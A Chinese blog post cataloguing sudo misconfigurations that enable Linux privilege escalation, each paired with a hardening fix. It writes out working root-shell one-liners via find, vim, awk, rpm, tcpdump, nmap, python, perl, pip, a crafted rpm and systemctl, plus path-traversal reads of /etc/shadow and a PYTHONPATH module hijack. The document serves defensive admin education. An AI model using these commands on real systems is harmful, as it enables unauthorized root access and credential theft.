Liping's Blog

翁曰:「無他,但手熟爾。」

sudo常用提权方式

用户可写的目录或文件

使用场景:允许用户执行sudo /home/user/script.sh以其他用户权限执行脚本,用户可以直接修改script.sh或者替换成其他文件,从而实现提权。

user@server:~$ ls -ld /home/yangliping /home/yangliping/sudo /home/yangliping/sudo/bin /home/yangliping/sudo/bin/hello.sh /home/yangliping/sudo_hack /home/yangliping/sudo_hack/bin /home/yangliping/sudo_hack/bin/hello.sh
drwx------ 28 yangliping yangliping 8192 Jan 28 10:12 /home/yangliping
drwxr-xr-x 3 root   root   4096 Jan 28 10:01 /home/yangliping/sudo
drwxr-xr-x 2 root   root   4096 Jan 28 10:02 /home/yangliping/sudo/bin
-rwxr--r-- 1 root   root     36 Jan 28 10:02 /home/yangliping/sudo/bin/hello.sh
drwxrwxr-x 3 yangliping yangliping 4096 Jan 28 10:02 /home/yangliping/sudo_hack
drwxrwxr-x 2 yangliping yangliping 4096 Jan 28 10:03 /home/yangliping/sudo_hack/bin
-rwxrw-r-- 1 yangliping yangliping   48 Jan 28 10:03 /home/yangliping/sudo_hack/bin/hello.sh

user@server:~$ sudo -l
User yangliping may run the following commands on server:
    (root) NOPASSWD: /home/yangliping/sudo/bin/hello.sh

user@server:~$ sudo /home/yangliping/sudo/bin/hello.sh
Hello from root.

user@server:~$ mv -f --backup=t -T /home/yangliping/sudo_hack /home/yangliping/sudo

user@server:~$ sudo /home/yangliping/sudo/bin/hello.sh
Haaaaaaaaaaa. I'm root now.

解决方案:保证sudo执行的文件及文件的所有父目录不能被用户修改。

可执行shell或其他命令的软件

使用场景vivimedemacseditmorelessmanfindawkrpmftptcpdumpnmap等命令都可以执行其他命令,甚至是shell。

user@server:~$ sudo find /etc/passwd -exec /bin/sh \;
user@server:~$ sudo vim -c '!sh'
user@server:~$ sudo awk 'BEGIN {system("/bin/sh")}'
user@server:~$ sudo rpm --eval '%{lua:os.execute("/bin/sh")}'

$ sudo vim /path/to/file
或者 $ sudo more /path/to/file
或者 $ sudo less /path/to/file
或者 $ sudo man ls
或者 $ sudo ftp

执行!bash即可获得bash shell权限

tcpdumpnmap也可以执行任意命令

user@server:~$ echo '/usr/bin/id' > /tmp/shell && chmod +x /tmp/shell && sudo /usr/sbin/tcpdump -w /dev/null -W 1 -G 1 -z /tmp/shell -Z roo
t
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
Maximum file limit reached: 1
uid=0(root) gid=0(root) groups=0(root)

user@server:~$ echo "os.execute('/bin/sh')" > /tmp/shell && sudo nmap --script=/tmp/shell

解决方案:确保sudo执行的软件不能执行其他命令。用RESTRICT或者 NOEXEC,如果是编辑文件,可以用sudoedit

aaron  shanty = NOEXEC: /usr/bin/more, /usr/bin/vi

NOEXEC不生效

使用场景:根据这个案例,有些系统/bin目录是链接到/usr/bin目录的,以下配置的情况下,用户仍然可以在vim里运行shell

%sudo_users ALL=(root) ALL, (root) NOEXEC: /usr/bin/vi, /usr/bin/vim

需要改成下面的配置

%sudo_users ALL=(root) ALL, (root) NOEXEC: /bin/vi, /usr/bin/vi, /bin/vim, /usr/bin/vim 

解决方案sudo配置要确认生效

允许sudo执行chown/chmod命令

使用场景:可以用chown/chmod命令把重要文件修改成用户可改,然后再恢复。比如/etc/shadow改root密码,在/etc/sudoers增加权限等。

解决方案:用setfacl允许用户修改文件,或者用sudoedit

允许sudo执行mv、cp、scp、rsync等命令

使用场景:使用mvcpscprsync等命令可以修改重要的文件,比如/etc/passwd。

解决方案:禁止直接使用,可以考虑封装在脚本里。

允许可以修改文件的程序写任意文件

使用场景:使用teesed等命令可以修改重要的文件,比如/etc/passwd。

echo "hahaha" | sudo tee /root/reallyimportantstuff

解决方案:用setfacl允许用户修改文件,或者用sudoedit

允许直接运行脚本语言解释器

使用场景:允许pythonperlrubylua等脚本解释器直接sudo运行意味着用户可以做所有事情。

user ALL=(root) NOPASSWD: /usr/bin/pyton, /usr/bin/perl

$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo perl -e 'exec "/bin/bash";'

解决方案:不允许sudo运行pythonperlrubylua等。

通配符风险

使用场景:sudo的通配符功能会导致安全风险

user ALL=(root) NOPASSWD: /bin/cat /var/log/*

$ sudo cat /var/log/../../etc/shadow | tail
dbadmin:!!:16895:0:99999:7:::
dbuser:!!:16895:0:99999:7:::
nscd:!!:17778:0:99999:7:::
nginx:!!:17998::::::

user ALL=(root) NOPASSWD: /bin/cat /var/log/messages*

$ sudo cat /var/log/messages /etc/shadow | tail
dbadmin:!!:16895:0:99999:7:::
dbuser:!!:16895:0:99999:7:::
nscd:!!:17778:0:99999:7:::
nginx:!!:17998::::::

user ALL=(root) NOPASSWD: /usr/bin/systemctl * httpd

# 用户可以sudo对其他服务进行操作

$ sudo /usr/bin/systemctl stop iptables auditd httpd

# 如果允许sudo root执行`rm -Rf /some/path/*`会怎么样?

具体参考Redhat KB文档Sudo interpretation of wildcard like /var/log/messages* can indirectly expose a security risk

解决方案:最好不要用通配符,确实需要使用的时候应该确保安全设置。

禁用env_reset导致环境变更引起的漏洞(v1.6.9 - v1.8.4p5)

使用场景:在某些版本的sudo中,如果用!env_reset禁用环境变量重置,用户可以通过PYTHONPATH之类的环境变量实现任意命令的执行。

比如下面的代码:

$ cat /opt/sudo_test.py
#!/usr/bin/env python

from __future__ import print_function
import base64

print(base64.decodestring('SGVsbG8gZnJvbSByb290\n'))

正常sudo执行输出如下:

$ sudo /opt/sudo_test.py
Hello from root

用户可以通过修改过的base64模块执行其他命令

$ diff /usr/lib64/python2.6/base64.py base64.py
10a11
> import os
320a322
>     os.system("echo '**Hello from python base64 module**'")

$ sudo PYTHONPATH=/home/yangliping /opt/sudo_test.py
**Hello from python base64 module**
Hello from root

man手册对于env_reset的解释如下:

By default, the env_reset flag is enabled. This causes commands to be executed with a new, minimal environment.

If, however, the env_reset flag is disabled, any variables not explicitly denied by the env_check and env_delete options are allowed and their values are inherited from the invoking process.

新版本的sudo修复了这个问题,具体点击链接了解。RHEL 6.0 ~ 6.3自带的是sudo 1.7会有这个问题,RHEL 6.4换成了sudo 1.8.6p3。

解决方案:虽然sudo把很多环境变量列入黑名单,执行的时候会有以下错误

$ sudo PYTHONPATH=/home/yangliping /opt/sudo_test.py
sudo: sorry, you are not allowed to set the following environment variables: PYTHONPATH

但是还是有可能会有其他未知的环境变量导致漏洞,不建议设置!env_reset。如果有特殊的环境变量确实需要保留,在确保安全的情况下,可以设置env_check/env_keep来传递环境变量,也就是开白名单。另外,root用户执行sudo -V可以显示哪些环境变量会被清除。

Environment variables to check for safety:
        TZ
        TERM
        LINGUAS
        LC_*
        LANGUAGE
        LANG
        COLORTERM
Environment variables to remove:
        *=()*
        RUBYOPT
        RUBYLIB
        PYTHONUSERBASE
        PYTHONINSPECT
        PYTHONPATH
        PYTHONHOME
......

允许执行pip、rpm、yum、dnf导致的提权

使用场景:具体参考链接,用户用以下的方式即可获得root shell。

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

rpm/yum/dnf也可以用类似的方式提权

TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

sudo rpm -ivh x-1.0-1.noarch.rpm

sudo yum localinstall -y x-1.0-1.noarch.rpm

另外,yum还可以通过插件的方式执行root提权,可以下载任意文件,具体见链接

解决方案:不要设置允许普通用户执行pip或者rpm/yum。

允许执行systemctl导致的提权

使用场景systemctl命令有几种方式获取root shell:

  • 通过SYSTEMD_EDITOR
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
  • 通过新添加特殊的服务
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $TF
  • 通过编辑器或者分页器
sudo systemctl
!sh

解决方案:禁止直接使用,可以考虑封装在脚本里。

在写这篇文章的时候,网上找到两个项目,都是跟不恰当使用sudo而导致用户获取root权限有关,内容更全面值得认真学习。

SUDO_KILLER - A tool to identify and exploit sudo rules' misconfigurations and vulnerabilities within sudo.

GTFOBins is a curated list of Unix binaries that can used to bypass local security restrictions in misconfigured systems.

总而言之,使用sudo必须非常非常小心。当用户需要一些特殊权限的时候,首先应该想到除了sudo还有没有其他更好的方法。然后,如果一定要sudo,自己的配置有没有提权的风险,必须三思。

Comments